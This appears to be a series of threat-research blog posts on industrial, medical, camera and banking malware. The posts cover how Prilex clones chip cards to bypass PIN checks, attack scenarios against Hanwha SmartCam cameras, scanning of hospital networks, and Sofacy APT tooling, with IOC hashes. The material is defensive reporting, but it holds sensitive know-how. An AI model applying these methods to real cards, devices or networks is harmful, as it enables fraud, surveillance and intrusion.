  • Installing firmware updates on control devices used in industrial automation systems in a timely manner;
  • Restricting network traffic on ports and protocols used on the edge routers between the organization’s network and those of other companies (if information is transferred from one company’s industrial network to another company);
  • An emphasis on account control and password policies is recommended. Users should have only those privileges that are required for them to perform their responsibilities. The number of user accounts with administrative privileges should be as limited as possible. Strong passwords (at least 9 characters, both upper and lower case, combined with digits and special characters) should be used, with regular password changing enforced by the domain policy, for example, every 90 days.

To provide protection from accidental infections with new, previously unknown malware and targeted attacks, we recommend doing the following on a regular basis:

  1. Taking an inventory of running network services on all hosts of the industrial network; where possible, stopping vulnerable network services (unless this will jeopardize the continuity of industrial processes) and other services that are not directly required for the operation of the automation system; special emphasis should be made on services that provide remote access to file system objects, such as SMB/CIFS and/or NFS (which is relevant in the case of attacks on systems running Linux).
  2. Auditing ICS component access control; trying to achieve maximum access granularity.
  3. Auditing the network activity in the enterprise’s industrial network and at its boundaries. Eliminate any network connections with external and other adjacent information networks that are not required by industrial processes.
  4. Verifying the security of remote access to the industrial network; placing a special emphasis on whether demilitarized zones are set up in compliance with IT security requirements. To the fullest extent possible, minimizing or completely eliminating the use of remote administration tools (such as RDP or TeamViewer). More details on this are provided above.
  5. Ensuring that signature databases, heuristics and decision algorithms of endpoint security solutions are up-to-date. Checking that all the main protection components are enabled and running and that ICS software folders, OS system folders or user profiles are not excluded from the scope of protection. Application startup control technologies configured in whitelisting mode and application behavior analysis technologies are particularly effective for industrial enterprises. Application startup control will prevent cryptomalware from running even if it finds its way on to the computer, while application behavior analysis technologies are helpful for detecting and blocking attempts to exploit vulnerabilities (including unknown) in legitimate software.
  6. Auditing policies and practices related to using removable media and portable devices. Blocking devices that provide illegitimate access to external networks and the Internet from being connected to industrial network hosts. Wherever possible, disabling the relevant ports or controlling access to these ports using properly configured dedicated tools.

In addition, to provide protection from targeted attacks directed at the enterprise’s industrial network and its main industrial assets, we recommend deploying tools that provide network traffic monitoring and detection of cyberattacks on industrial networks. In most cases, such measures do not require any changes to ICS components or their configuration and can be carried out without suspending their operation.

Of course, completely isolating the industrial network from adjacent networks is virtually impossible, since transferring data between networks is required to perform a variety of important functions – controlling and maintaining remote facilities, coordinating sophisticated industrial processes, parts of which are distributed between numerous workshops, lines, plants and support systems. We hope, however, that our recommendations will help you provide maximum protection for your industrial networks and automation systems against existing and future threats.

Kaspersky Lab Industrial Control Systems Cyber Emergency Response Team (Kaspersky Lab ICS CERT) is a global project of Kaspersky Lab aimed at coordinating the work of industrial automation system vendors, owners and operators of industrial facilities and IT security researchers in addressing issues associated with protecting industrial enterprises and critical infrastructure facilities.

 Read the full “Threat Landscape for Industrial Automation Systems in H2 2017” report (English, PDF)

Goodfellas, the Brazilian carding scene is after you

Thu, 03/15/2018 - 06:00

There are three ways of doing things in the malware business: the right way, the wrong way and the way Brazilians do it. From the early beginnings, using skimmers on ATMs, compromising point of sales systems, or even modifying the hardware of processing devices, Latin America has been a fertile ground for collecting credit and debit cards en masse.

Brazil started the migration to EMV cards in 1999 and nowadays almost all cards issued in the country are chip-enabled. A small Java-based application lives inside this chip and can be easily manipulated in order to create a “golden ticket” card that will be valid in most (if not all) point of sale systems. Having this knowledge has enabled the criminals to update their activities, allowing them to create their own cards featuring this new technology and keeping them “in the business.”

Enter the world of Brazilian malware development, incorporating every trick in the book and adding a custom made malware that can easily collect data from chip and PIN protected cards; all while offering a nicely designed interface for administering the ill-gotten information, validating numbers, and offering their “customers” an easy to use package to burn their cloned card.

“Seu cartão vou clonar”: not only a crime but a lifestyle

According to the 2016 Global Consumer Card Fraud: Where Card Fraud Is Coming From, “At this point in time, the assumption should be that almost all users’ credentials and/or card information has been compromised. The underground economy for user information has matured so much that it is indistinguishable from a legitimate economy.”

In addition, when we are faced with the current credit card fraud statistics, we found that in 2016, Mexico was in the lead with 56% of residents reporting experiencing card fraud in the past five years. Brazil comes in second at 49%, and the U.S. in third with 47%. It’s worth noting that approximately 65% of the time, credit card fraud results in a direct or indirect financial loss for the victim, with an average reported loss of $1,343 USD.

While traditional criminal activities in Brazil regarding computer crime have included banking trojans, boletos, and all sorts of different malware, cloning credit and debit cards for a living is more than a day job for some. With MCs rapping about the hardships of obtaining new plastic, and how easy the money starts flowing once they get in the game, there’s no shortage of options being offered for infecting ATMs, point of sales systems, or directly stealing credit card numbers from the users.

One of the many Youtube channels sharing tutorials and real life stories on being a Brazilian carder.

There are tutorials, forums, instant message groups, anything and everything as accessible as ever; making this industry a growing threat for all Brazilians. When it comes to Prilex, we are dealing with a complete malware suite that gives the criminal full support in their operations, all with a nicely done graphical user interface and templates for creating different credit card structures, being a criminal-to-criminal business. While cloning chip and PIN protected cards has already been discussed in the past, we found Prilex and its business model something worth sharing with the community; as these attacks are becoming easier to perform and the EMV standard hasn’t been able to keep up with the bad guys.

Anything they wanted was an ATM infection away

The first notable appearance of the Prilex group was related to an ATM attack targeting banks located primarily in the Brazilian territory. Back then, criminals used a black box device configured with a 4G USB modem in order to remotely control the machine. By opening a backdoor to the attacker, they could hijack the institution’s wireless connection and target other ATMs at their will.

At the time, the malware that was used to dispense money at will, was developed using Visual Basic version 6.0; a reasonably old programming language that is still heavily used by Brazilian criminals. The sample was using a network protocol tailored specifically to communicate to its C2 allowing the attacker to remotely dig deeper in the ATM system and collect all the necessary information in order to perform further attacks.

After obtaining initial access to the network, the attacker would run a network recognition process to find the IP address of each of the ATMs. With that information at hand, a lateral movement phase would begin, using default Windows credentials and then installing a custom crafted malware on the most promising systems. The backdoor would allow the attacker to empty the ATM socket by launching the malware interface and sending remote commands to dispense the money.

ATM version of Prilex patching legitimate software for jackpotting purposes.

The malware was developed to target not only the ATMs with the jackpotting functionality but also the bank’s customers due to a function which enables the malware to steal the magnetic stripe information once the client use the infected ATM: cloning and jackpotting on the same package.

Targeting point of sales systems and expanding functionality

While hunting new samples related to the ATM attack, we found a new sample matching the previously dissected communication protocol. In fact, the protocol (and code) used by this new sample had been updated a bit in order to support extended functionality.

Code similarity of the ATM and Point of Sale samples from the Prilex family.

The main module contains different functions that allow the attacker to perform a set of debugging operations on the victim’s machine as well as performing the attack itself.

  • Remote administration using “Ammyy Admin”.
  • Upload/download files from/to infected computer.
  • Capture memory regions from a process.
  • Execute shell commands.
  • Update main module.
  • Patch libraries in order to allow capturing card information.

Functions handled by the malware.

The main purpose of the malware is to patch the point of sales system libraries, allowing it to collect the data transmitted by the software. The code will look for the location of a particular set of libraries in order to apply the patch thus overwriting the original code.

Log strings referring the patch applied by the malware.

With the patch in place, the malware collects the data from TRACK2, such as the account number, expiration date, in addition to other cardholder information needed to perform fraudulent transactions. The PIN is never captured by the malware, since is not needed as we will see later.

Using DAPHNE and GPShell to manage your Smart Card

After the information is exfiltrated to the C2 server, it’s read to be sold in the blackmarket as a package. The criminals provide access to a tool called Daphne ,which is responsible for managing the credit card information acquired and ultimately writing it to the cloned cards.

The Daphne “client” has the option to choose which type of card it wants to write, debit or credit; then the information will be validated on the server only to be written to the card once all necessary tests are passed. The new card, which is connected to the smart card writer, will receive the new information via GPShell scripts in charge of setting up the card’s structure and creating the “golden card”.

Function to write the card data as credit or debit, or just copy the information to the clipboard.

After using the card, the criminal is able to keep track of how much money is possible to withdraw. While we are not sure how this information is being used, Prilex’s business model encourages users to register which cards are valid and the amount that they have paid off. This could enable reselling the cards in other venues and charging differential prices depending on their status.

After a card stops working (marked as “dead”), the criminal will fill the information about how much money was stolen from that card, if any.

Since Daphne is designed as a client/server application, several individuals can query the same information at once, and all modifications on the cards are synchronized with a central database. This behavior enables crews to work on the same set of information, allowing the connected user to create a new card directly from the interface and allowing the tool to decide the best template to use and how to preset the card.

Do not panic, but your credit card might be running Java

The EMV standard and supporting technology is in fact a robust framework that can provide much more security than the traditional magnetic stripe. Unfortunately, due to a bad implementation of such technology, it’s possible for criminals to abuse it and clone an EMV supported card with information stolen from the victim.

However, this technique is not entirely new and also not specific to Brazil. We have seen the same TTPs in other malware families, being sold on underground forums and targeting banks in Europe and other countries in Latin America such as Mexico and Argentina

In addition, the tool has an option to communicate with Smart Card devices by using GPshell in order to create a fake card with the stolen information.

Commands sent to GPshell in order to check for a Smart Card.

The commands above are responsible for checking if the Smart Card can be accessed, and if so it will enable the option to write the information to the fake card. Some commands used here are not generic and not usually found on a normal transaction.

Since they cannot manipulate all the information of the ‘chip and PIN’ technical standard, they need to modify the application responsible for validating the transaction. In order to do that, they install a modified CAP file (JavaCard applet) to the Smart Card, then when the PoS tries to validate the PIN, it will always accept as well as bypass all other validation processes. Due to the fact that most of the payment operators do not perform all validations as required by the EMV standard, the criminals are able to exploit this vulnerability within the process in advantage of their operation.

Commands used to install the malicious CAP file to the Smart Card.

Furthermore, GPshell sends commands to replace the PSE (Payment System Environment) by deleting the original one and installing a malicious counterpart. After that, the Smart Card just needs the stolen information to be written and it will be ready to use on PoS devices.

Commands sent to the card to write all data.

In this step, the script executed by GPShell contains all the necessary information in order for the point of sales terminal to perform the payment operation. The given script contains data extracted from original cards that are necessary to perform the authorization with the card operator.

One of the most relevant data written by this script is the Application Interchange Profile, changed in order to enable Static Data Authentication (SDA) and Signed Static Application Data (SSAD). This section contains the data signed by the card issuer that should be validated to guarantee that the information from the card was not counterfeited. However, the issuer has to decide which data should be protected by the signed information and based on our research, we found that most of the cards only have the Application Interchange Profile data signed, making the SSAD data valid even with a modified TRACK2 and a different cardholder’s name.

Getting the hardware and the blank cards is not as difficult as it sounds

Buying the equipment is quite cheap and surprisingly easy. To perform the attack, criminals just need to have a Smart Card Reader/Writer and some empty smart cards. Everything can be easily found online and since those tools can also be used in a legitimate way, there is no problem buying it.

JCop cards costing around $15 USD.

A basic reader/writer can be bought for less than $15 USD.

As we can see, the necessary equipment can be acquired by less than $30 USD, making it really affordable and easy for everyone to buy (not that anyone should!).

Smart Cards, the EMV standard, and the Brazilian carding scene

Industry reports, such as The Nilson Report, states that credit card fraud in 2016 has represented losses of $22.80 billion USD worldwide. And by 2020, card fraud worldwide is expected to total $31.67 billion USD.

Since that day in 1994, where Europay, MasterCard, and Visa developed this technology with the goal of ending fraud once and for all, several speed bumps have been found along the way, making theft and counterfeiting of payment card data more difficult for criminals in each iteration. It’s interesting to see how the liability of a fraud incident has been theoretically moved over the years from the customer, to the merchants, then to the bank; when in reality is the customer the one that always deals with the worst part of the story.

To be continued…

The crew behind the development of Prilex has demonstrated to be a highly versatile group, active since at least 2014 and still operating, targeting primarily Brazilian users and institutions. The motivation behind each of their campaigns has been repeatedly proven as solely monetary, given their preference for targets in the financial or retail industry.

Luckily, the banks and operators in Brazil have been investing a lot in technologies to improve their systems and avoid fraudulent transactions, allowing them to identify those techniques and preparing them for what’s to come. However, some countries in Latin America are not as evolved when it comes to credit card technologies and still rely on plain old magnetic stripe cards. Other countries are just starting to actively implement chip-and-pin authentication measures and have become a desirable target for criminals due to the overall lack of expertise regarding this technology.

The evolution of their code, while not technically notable, has been apparently sufficient in maintaining a constant revenue stream by slowly perfecting their business model and customer applications. The discovery of “Daphne”, a module to make use of the ill-gotten financial information and their affiliate scheme, suggests that this is a “customer oriented” group, with many levels in their chain of development; resembling what we have seen for example in the popular ATM malware Ploutus and other jackpotting operations.

This modularization, in their source code as well as their business model, constitutes Prilex as a serious threat to the financial industry, currently confined to the territory of Brazil with the uncertainty of how long it will take before it expands its operations to other regions.

IOCs 7ab092ea240430f45264b5dcbd350156 Trojan.Win32.Prilex.b 34fb450417471eba939057e903b25523 Trojan.Win32.Prilex.c 26dcd3aa4918d4b7438e8c0ebd9e1cfd Trojan.Win32.Prilex.h f5ff2992bdb1979642599ee54cfbc3d3 Trojan.Win32.Prilex.f 7ae9043778fee965af4f8b66721bdfab Trojan.Win32.Prilex.m

Our complete IOCs list, as well as YARA rules and full reports are available for Financial Intelligence Reports service customers. If you need more information about the service, please contact us at:

Time of death? A therapeutic postmortem of connected medicine

Tue, 03/13/2018 - 11:00

#TheSAS2017 presentation: Smart Medicine Breaches Its “First Do No Harm” Principle

At last year’s Security Analyst Summit 2017 we predicted that medical networks would be a titbit for cybercriminals. Unfortunately, we were right. The numbers of medical data breaches and leaks are increasing. According to public data, this year is no exception.

For a year we have been observing how cybercriminals encrypt medical data and demand a ransom for it. How they penetrate medical networks and exfiltrate medical information, and how they find medical data on publicly available medical resources.

The number of medical data breaches and leaks per year (source: HIPAA Journal)

Opened doors in medical networks

To find a potential entry point into medical infrastructure, we extract the IP ranges of all organizations that have the keywords “medic”, “clinic”, “hospit”, “surgery” and “healthcare” in the organization’s name, then we start the masscan (port scanner) and parse the specialized search engines (like Shodan and Censys) for publicly available resources of these organizations.

Masscan report extract

Of course, medical perimeters contain a lot of trivial opened ports and services: like web-server, DNS-server, mail-server etc. And you know that’s just the tip of the iceberg. The most interesting part is the non-trivial ports. We left out trivial services, because as we mentioned in our previous article those services are out of date and need to be patched. For example, the web applications of electronic medical records that we found on the perimeters in most cases were out of date.

The most popular ports are the tip of the iceberg. The most interesting part is the non-trivial ports.

The most popular opened ports on medical perimeters (18,723 live hosts; 27,716 opened ports)

Using ZTag tool and Censys, we identify what kinds of services are hidden behind these ports. If you try to look deeper in the embedded tag you will see different stuff: for example printers, SCADA-type systems, NAS etc.

Top services on medical network perimeters

Excluding these trivial things, we found Building Management systems that out of date. Devices using the Niagara Fox protocol usually operate on TCP ports 1911 and 4911. They allow us to gather information remotely from them, such as application name, Java version, host OS, time zone, local IP address, and software versions involved in the stack.

Example of extracted information about Niagara Fox service

Or printers that have a web interface without an authentication request. The dashboard available online and allows you to get information about internal Wi-Fi networks or, probably, it allows you to get info about documents that appeared in “Job Storage” logs.

Shodan told us that some medical organizations have an opened port 2000. It’s a smart kettle. We don’t know why, but this model of kettle is very popular in medical organizations. And they have publicly available information about a vulnerability that allows a connection to the kettle to be established using a simple pass and to extract info about the current Wi-Fi connection.

Medical infrastructure has a lot of medical devices, some of them portable. And devices like spirometers or blood pressure monitors support the MQTT protocol to communicate with other devices directly. One of the main components of the MQTT communication – brokers (see here for detailed information about components) are available through the Internet and, as a result, we can find some medical devices online.

Not only Smart Home components, but also medical devices are available via MQTT Spirometer

Threats that affect medical networks

OK, now we know how they get in. But what’s next? Do they search for personal data, or want to get some money with a ransom or maybe something else? Money? It’s possible… anything is possible. Let’s take a look at some numbers that we collected during 2017.

The statistics are a bit worrying. More than 60% of medical organizations had some kind of malware on their servers or computers. The good news is that if we count something here, it means we’ve deleted malware in the system.

Attacks detected in medical organizations, 2017

And there’s something even more interesting – organizations closely connected to hospitals, clinics and doctors, i.e. the pharmaceutical industry. Here we see even more attacks. The pharmaceutical industry means “money”, so it’s another titbit for attackers.

Attacks detected in pharmaceutical organizations, 2017

Let’s return to our patients. Where are all these attacked hospitals and clinics? Ok, here we the numbers are relative: we divided the number of devices in medical organizations in the country with our AV by the number of devices where we detected malicious code. The TOP 3 were the Philippines, Venezuela and Thailand. Japan, Saudi Arabia and Mexico took the last three spots in the TOP 15.

So the chances of being attacked really depend on how much money the government spends on cybersecurity in the public sector and the level of cybersecurity awareness.

Attacked devices in medical organizations, TOP 15 countries

In the pharmaceutical industry we have a completely different picture. First place belongs to Bangladesh. I googled this topic and now the stats look absolutely ok to me. Bangladesh exports meds to Europe. In Morocco big pharma accounts for 14% of GDP. India, too, is in the list, and even some European countries are featured.

Attacked devices in pharmaceutical organizations, TOP 15 countries

On one in ten devices and in more than 25% of medical and 10% of pharmaceutical companies we detected hacktools: pentesting tools like Mimikatz, Meterpreter, tweaked remote administration kits, and so on.

Which means that either medical organizations are very mature in terms of cybersecurity and perform constant audits of their own infrastructure using red teams and professional pentesters, or, more likely, their networks are infested with hackers.

Hacktools: Powerpreter, Meterpreter, Remote admin, etc.


Our research showed that APT actors are interested in information from pharmaceutical organizations. We were able to identify victims in South East Asia, or more precisely, in Vietnam and Bangladesh. The criminals had targeted servers and used the infamous PlugX malware or Cobalt Strike to exfiltrate data.

PlugX RAT, used by Chinese-speaking APT actors, allows criminals to perform various malicious operations on a system without the user’s knowledge or authorization, including but not limited to copying and modifying files, logging keystrokes, stealing passwords and capturing screenshots of user activity. PlugX, as well as Cobalt Strike, is used by cybercriminals to discreetly steal and collect sensitive or profitable information. During our research we were unable to track the initial attack vectors, but there are signs that they could be attacks exploiting vulnerable software on servers.

Taking into account the fact that hackers placed their implants on the servers of pharmaceutical companies, we can assume they are after intellectual property or business plans.

How to live with it
  • Remove all nodes that process medical data from public
  • Periodically update your installed software and remove unwanted applications
  • Refrain from connecting expensive equipment to the main LAN of your organization

More tips at “Connected Medicine and Its Diagnosis“.

Somebody’s watching! When cameras are more than just ‘smart’

Mon, 03/12/2018 - 06:00

Every year the number of smart devices grows. Coffee machines, bracelets, fridges, cars and loads of other useful gadgets have now gone smart. We are now seeing the emergence of smart streets, roads and even cities.

Devices such as smart cameras have long been part of everyday life for many, as communication devices, components in security and video surveillance systems, to keep an eye on pets, etc.

The latest smart cameras can connect to the cloud. This is done so that a user can watch what’s happening at a remote location using a variety of devices.

The researchers at Kaspersky Lab ICS CERT decided to check the popular smart camera to see how well protected it is against cyber abuses. This model has a rich feature list, compares favorably to regular webcams and can be used as a baby monitor, a component in a home security system or as part of a monitoring system.

An initial analysis using publicly available sources showed that there are almost 2,000 of these cameras on the Internet with public IP addresses.

Hanwha SNH-V6410PN/PNW SmartCam: specifications

This device is capable of capturing video with resolutions of 1920×1080, 1280×720 or 640×360, it has night vision capability and a motion sensor, and supports two-way communication, i.e. apart from capturing video and sound it can also produce sound using an in-built speaker. The camera works via a cloud-based service; in other words, it doesn’t connect directly to a device such as a computer. It is configured by creating a wireless hotspot on the camera and connecting it to the main router via Wi-Fi. Users can control the camera from their smartphones, tablets or computers. It should be noted that the camera’s data can only be uploaded to the cloud; there is no other way of communicating between the user and the camera.

The camera is based on the Ambarella S2L system (ARM architecture). Amboot is used as its initial loader. After a standard boot, Amboot loads the Linux core with a specific command as a parameter:

console=ttyS0 ubi.mtd=lnx root=ubi0:rootfs rw rootfstype=ubifs init=/linuxrc model=SNH-V6410PN ethaddr=************ sn=ZC7D6V2H*********

After that, systemd launches. The system then boots as normal. Different partitions are mounted, and commands from rc.local are executed. When executing rc.local, the file mainServer is launched in daemon mode, which is the core of the camera’s operation logic. mainServer executes the commands that are sent to it via UNIX socket /tmp/ipc_path via binary protocol. Scripts written in PHP as well as CGI are used to process user files. While launching, mainServer opens UNIX socket /ipc_path. Analysis of the PHP scripts has shown that the main function responsible for communication with mainServer is in the file /work/www/htdocs_weboff/utils/ipc_manager.php.

Interaction with the cameras is via the cloud only

Communication with the user

When a command arrives from the user (e.g., to rotate the camera, select a tracking area, switch to night vision mode, etc.), it is analyzed. Each command or parameter has its own flag assigned to it, which is a constant. The main flags are documented in the file /work/www/htdocs_weboff/utils/constant.php. Later on, the packet header and payload is created, and a request is sent via UNIX socket /tmp/ipc_path to mainServer.

An analysis of the file ipc_manager.php shows that no authentication is used at this stage. The request is sent on behalf of the user ‘admin’.

function makeHeader($cmd, $act, $type, $len){
$header = array();
$header = array_fill(0, 77, 0x00);
int2byte($header, $cmd, HEADER_OFF_COMMAND); //Command
$header[HEADER_OFF_ACTION] = $act; //Action
$header[HEADER_OFF_MSG_TYPE] = $type; //Type
$header[HEADER_OFF_ERROR_CODE] = 0xFF; //Error Code
int2byte($header, $len, HEADER_OFF_MSG_LENGTH); //Length
str2byte($header, ““, HEADER_OFF_PEER_IP, 40); //Peer IP[40]
int2byte($header, 80, HEADER_OFF_PEER_PORT); //Peer Port
str2byte($header, “admin“, HEADER_OFF_PEER_ACCOUNT, 16); //Peer Account[16] – Current user name
$header = array_merge($header, array_fill(0, 8, 0xFF)); //Reserved[8]
return $header;

Example of a request sent on behalf of admin

This method of communicating commands is used when camera communication is done both via HTTP API and via SmartCam applications. In the latter case, the packet is generated in the application itself and sent to the camera in a message body using the XMPP protocol. When accessing this file from the outside via HTTP API and SmartCam application, it can be accessed only through web server digest authentication.

Loopholes for intruders

The following vulnerabilities were identified during the research:

  • Use of insecure HTTP protocol during firmware update
  • Use of insecure HTTP protocol during camera interaction via HTTP API
  • An undocumented (hidden) capability for switching the web interface using the file ‘dnpqtjqltm’
  • Buffer overflow in file ‘dnpqtjqltm’ for switching the web interface
  • A feature for the remote execution of commands with root privileges
  • A capability to remotely change the administrator password
  • Denial of service for SmartCam
  • No protection from brute force attacks for the camera’s admin account password
  • A weak password policy when registering the camera on the server Attacks against users of SmartCam applications are possible
  • Communication with other cameras is possible via the cloud server
  • Blocking of new camera registration on the cloud server
  • Authentication bypass on SmartCam. Change of administrator password and remote execution of commands.
  • Restoration of camera password for the SmartCam cloud account

After some additional research we established that these problems exist not only in the camera being researched but all manufacturer’s smart cameras manufactured by Hanwha Techwin. The latter also makes firmware for Samsung cameras.

Below we give a more detailed account of some of our findings.

Undocumented functionality

As mentioned above, we detected, among others, an undocumented capability that allows manipulations with the camera’s web interface.

Code with undocumented functionality capability in Hanwha SmartCam

Interestingly, in addition a buffer overflow-type vulnerability was detected inside of it. We reported the issue with undocumented feature to the manufacturer, and it has already fixed it.

Vulnerability in the cloud server architecture

Another example of a dangerous vulnerability in this smart camera can be found in the cloud server architecture. Because of a fault in the architecture, an intruder could gain access via the cloud to all cameras and control them.

One of the main problems associated with the cloud architecture is that it is based on the XMPP protocol. Essentially, the entire Hanwha smart camera cloud is a Jabber server. It has so-called rooms, with cameras of one type in each room. An attacker could register an arbitrary account on the Jabber server and gain access to all rooms on that server.

Message sent over XMPP using a test account created for research purposes

Decoded body of the above message

In the process of communicating with the cloud, the camera sends the user’s credentials and a certain set of constants. After analyzing the data sent, a remote attacker is able to register existing cameras in the cloud that have not been registered there yet. As a result of this, the cameras could subsequently not able to register in the cloud and, as a consequence, are not able to operate. In addition, an attacker can communicate with the cloud on behalf of an arbitrary camera or control arbitrary cameras via the cloud.

Attack scenarios

An interesting attack vector is the spoofing of DNS server addresses specified in the camera’s settings. This is possible because the update server is specified as a URL address in the camera’s configuration file. This type of attack can be implemented even if a camera doesn’t have a global IP address and is located within a NAT subnet. This sort of attack can be implemented by taking advantage of the peculiarities and vulnerabilities that exist in the Hanwha SmartСam cloud architecture. An attack like this could result in the distribution of modified firmware to cameras with the undocumented functionality loophole preinstalled, which will give privileged rights on those cameras.

If an intruder gains privileged rights (root) on a camera, they gain access to the full Linux functionality. This means the camera can be used as a foothold from which to attack devices located on local (within a NAT subnet) or global networks.

In one attack scenario, an arbitrary camera can be cloned and its image signal spoofed for the end user without much difficulty. To do so, an intruder will have to use cloud interactions to find out the target camera’s model, serial number and MAC address. The attacker then resets the password using a vulnerability in the password generation algorithm and modifies the firmware of the cloned camera (which is an identical camera located on the attacker’s side). The victim’s camera is then remotely disabled. As a result, the victim will receive a video signal from the attacker’s cloned camera.

Other possible scenarios involve attacks on camera users. The camera’s capabilities imply that the user will specify their credentials to different social media and online services, such as Twitter, Gmail, YouTube, etc. This is required for notifications about various events captured by the camera to be sent to the user. An attacker would then be able to exploit this capability to send phishing and spam messages.


What can a potential attacker do with the camera? Our research has demonstrated that they have a number of options.

For one, the attacker can remotely change the administrator’s password, execute arbitrary code on the camera, gain access to an entire cloud of cameras and take control of it, or build a botnet of vulnerable cameras. An attacker can gain access to an arbitrary SmartCam as well as to any Hanwha smart cameras.

What are the implications for a regular user? A remote attacker can gain access to any camera and watch what’s happening, send voice messages to the camera’s on-board speaker, use the camera’s resources for cryptocurrency mining, etc. A remote attacker can also put a camera out of service so it can no longer be restored. We were able to prove this hypothesis three times ????

We immediately reported the detected vulnerabilities to the manufacturer. Some vulnerabilities have already been fixed. The remaining vulnerabilities are set to be completely fixed soon, according to the manufacturer.

Fixed vulnerabilities were assigned the following CVEs:


Masha and these Bears

Fri, 03/09/2018 - 12:00

Sofacy, also known as APT28, Fancy Bear, and Tsar Team, is a prolific, well resourced, and persistent adversary. They are sometimes portrayed as wild and reckless, but as seen under our visibility, the group can be pragmatic, measured, and agile. Our previous post on their 2017 activity stepped away from the previously covered headline buzz presenting their association with previously known political hacks and interest in Europe and the US, and examines their under-reported ongoing activity in middle east, central asia, and now a shift in targeting further east, including China, along with an overlap surprise. There is much understated activity that can be clustered within this set and overlap in APT activity. Here, we examine current deployment, code, cryptography, and targeting.

Essentially, this examination finds the group maintains subdivisions of efforts in targeting, development, and coding. Comparisons to other modules quickly shows a delineation in other Sofacy efforts. SPLM, GAMEFISH, and Zebrocy delivery all maintain their own clusters, but frequently overlap later.

Because SPLM is their primary and selective second stage tool, SPLM deployment is of much interest. But Zebrocy efforts are in such high volume, that these modules need examination as well.


SPLM, otherwise known as CHOPSTICK, or by the author(s) as “XAgent”, is described as Sofacy’s signature second stage tool, selectively used for years against around the world. Really, many modified XAgent modules have been deployed over the years. Even the individual Linux modules renamed as “Fysbis” backdoors released in 2016 were merely modified and reduced portions of recompiled XAgent C/C++ codebase. Anyway, SPLM/CHOPSTICK has maintained various combinations of code, with some recognizable functionality listed here.

Source Modules Channels Modules Keylogger HTTP Channels RemoteShell FTP Boot FileSystem SMTP Library Launcher MainHandler CameraShot InjectApp Screenshot FileObserver PasswordFirefox InfoOS

Version 3 and early version 4 SPLM modules maintained keylogger, remoteshell, and filestealer code all within the larger compiled backdoor, and executed each body of functionality from within that process memory space. Later v4 SPLM injected individual keylogger, filestealer, and remoteshell modules into memory space. But for the most part, deployed SPLM maintained the structure of earlier executable code. In 2018, we now see them pushing individual and separate blobs of keylogger, filesystem, and remoteshell code that never touch disk. The larger, 300kb+ SPLM backdoors deployed in 2016 and 2017 are not observed any longer at targets in 2018. Instead, in-memory modules appear in isolation.

In addition to purely XAgent based code, we also observe zebrocy modules completely recoded into powershell from .Net.

Code and Crypto Comparisons

Current SPLM code maintains the unusual cipher hack that Sofacy began deploying in 2017 to hide away configuration details. Comparisons with cipher design and implementations we see in WhiteBear, earlier SPLM and Zebrocy modules tell a few things about design decisions and culture. And when specific malware sets are selectively deployed, that may tell us something about how efforts are divided.

SPLM full backdoor and plugins crypto and strings v4
Summary: SPLM is being carved up and delivered as memory-only chunks of compiled code. We observe the “retranslator” code, or ProcessRetranslator.dll, currently being delivered to systems without the presence of the previous, large, SPLM code and injection capabilities. The smaller plugins deployed in 2018 now maintain the same dynamic encryption code as the large 330kb full SPLM backdoors seen in more widespread use in 2017. Strings are well organized and concise.

Code and strings example (decrypted from 2018 “ProcessRetranslator.dll” plugin):

success command not correct
error save parameters
error set parameters for channel, see full info
command processing error
not correct command
command loading func/net module error
command unloading func/net module error
Retranslator is now launched
Retranslator is now stopped
the process is destroyed
one thread has died so the process is killed too
create process failed on: (%s) , error (%d)
Retranslator is already running
Retranslator is not running
command is successful
command is unsuccessful

SPLM crypto v3 (DNC hack)
Summary: This earlier SPLM variant found on the DNC network in 2016 still maintains the internal name “splm.dll”, with only one export “init” that was called at runtime. The C++ structure of this 280kb+ dll is familiar SPLM/CHOPSTICK, but it maintains a completely different cipher for decrypting configuration data and error messages, etc. The loop performing the bulk of the work is less than 100 bytes, performing pointer arithmetic alongside a couple xor operations of a lower nibble against sequential bytes.

Here, the cipher uses a modolo pointer arithmetic along with a decryption key per blob. Reviewing all the older ciphers and newer EC based ciphers in openssl and elsewhere results in no match.

WhiteBear code and strings
Summary: WhiteBear is a cluster of activity targeting foreign embassies and MFA organizations, starting in early 2016 and continued into early 2017. Our private GReAT report on this activity pushed in February 2017, and a public report from another vendor described much of the same content almost seven months later as “Gayzer”. It appeared to be a parallel project to WhiteAtlas Turla, and maintained quirks like modular, well logged code with an elegant, professional RSA and 3DES encryption implementation and high quality code injection capabilities, but lots of immature and crude language and english mistakes. Clearly, english and maturity was not the developers’ native language.

While WhiteBear is Turla related, it is interesting to compare to other ongoing development styles. Strings and code are crass.

Debug and command strings

i cunt waiting anymore #%d
lights aint turnt off with #%d
Not find process

Zebrocy custom crypto
Summary: innovative .Net, AutoIT, Delphi, and powershell components are continually updated and deployed to new and old targets. Cryptography ranges from built-in windows api to custom RC4-based ciphers. Strings and code are simple, innovative, and concise.


Targeting Overlap and a Pivot to Asia

News headlines repeatedly trumpet Sofacy’s foray into Western targets in the US and Europe, especially those connected with NATO. But these efforts only tell a portion of the Sofacy story.

Delineating groups and activity can be messy, and there appears to be overlap in targeting efforts across varying groups in central and east asia throughout 2017 and into 2018. Sofacy has been heavily interested in military and foreign affairs organizations here, resulting in multiple overlapped and competing targeting scenarios:

  • Mosquito Turla and Zebrocy clusters – Zebrocy clusters targeting diplomatic and commercial organizations within Europe and Asia that match Mosquito targeting profiling
  • SPLM overlap with traditional Turla – often Turla precedes SPLM deployments
  • SPLM overlap with Zebrocy – Zebrocy often precedes SPLM deployments
  • SPLM overlap with Danti

Currently, Sofacy targets large air-defense related commercial organizations in China with SPLM, and moves Zebrocy focus across Armenia, Turkey, Kazahkstan, Tajikistan, Afghanistan, Mongolia, China, and Japan. A previous, removed, report from another vendor claimed non-specific information about the groups’ interest in Chinese universities, but that report has been removed – most likely detections were related to students’ and researchers’ scanning known collected samples and any “incidents” remain unconfirmed and unknown. On the other hand, this Chinese conglomerate designs and manufactures aerospace and air defense technologies, among many other enterprises. And here, an interest in military technologies is certainly within Sofacy purview.

So, even more interesting than the shift eastward and other targeting overlap, is that the specific target system in China was previously a Grey Lambert target. The Sofacy modules at this system appeared to never touch disk, and resemble the Linux Fysbis code. Only one maintained the Filesystem.dll code, while another maintained ProcessRetranslator.dll code. However, it is unusual that a full SPLM backdoor was not detected on this system, nor was any powershell loader script. Because the injection source remains unidentified on such a unique system, we might speculate on what is going on here:

  1. Sofacy attackers had recorded a previous Grey Lambert remote session and replayed the communication after discovering this host, essentially compromising the Grey Lambert module on the system to gain access and later injecting SPLM modules
  2. Grey Lambert attackers inserted false flag and reduced SPLM modules
